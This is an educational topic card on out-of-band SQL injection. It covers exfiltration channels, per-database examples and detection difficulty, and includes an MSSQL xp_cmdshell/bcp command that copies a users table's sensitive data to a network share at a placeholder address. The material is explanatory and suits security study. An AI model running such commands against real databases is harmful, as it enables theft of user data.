Return to topic cards

Out-of-Band SQL Injection

Attack TechniquesDatabase SystemsExfiltration MethodsDetection and PreventionReal-World Impact

Out-of-band SQL injection is an advanced attack technique where attackers use separate communication channels to send payloads and receive responses. This method minimizes detection risks and maintains persistent access to compromised systems.

Key Points

  • Utilizes alternative communication channels to exfiltrate data.
  • Common techniques include writing to files, making HTTP requests, or using DNS queries.
  • Can be executed on various database systems like MySQL, MSSQL, and Oracle.

Detailed Explanation

Communication Channels

Out-of-band SQL injection leverages alternative communication channels to exfiltrate data. This makes detection more challenging as the data transfer does not occur through the typical SQL query-response mechanism.

Techniques

  • Writing to Files: Attackers can use SQL commands to write sensitive data to files on the compromised server.
  • HTTP Requests: Data can be sent to an external server via HTTP requests.
  • DNS Queries: Attackers can encode data in DNS queries to exfiltrate information.

Database Systems

This technique can be applied to various database systems, including:

Database SystemExample Command
MySQLSELECT ... INTO OUTFILE '/path/to/file'
MSSQLEXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\xx.xx.xx.xxx\logs\out.txt" -c -T'
OracleUTL_FILE.PUT_LINE

Practical Example

An attacker might use a crafted SQL query to write sensitive data to a file on a compromised server, which can then be accessed via a network share.

EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\xx.xx.xx.xxx\logs\out.txt" -c -T'

Real-World Application

Attackers can exploit out-of-band SQL injection to exfiltrate sensitive data from a database without directly querying it, making detection more challenging.

Key Takeaways

  • Out-of-band SQL injection leverages separate channels for data exfiltration.
  • Techniques vary by database system but often involve writing to files or making network requests.
  • Detection is challenging due to the use of indirect communication channels.

Learn More

For more information on SQL injection techniques and prevention methods, consider exploring resources on secure coding practices and database security.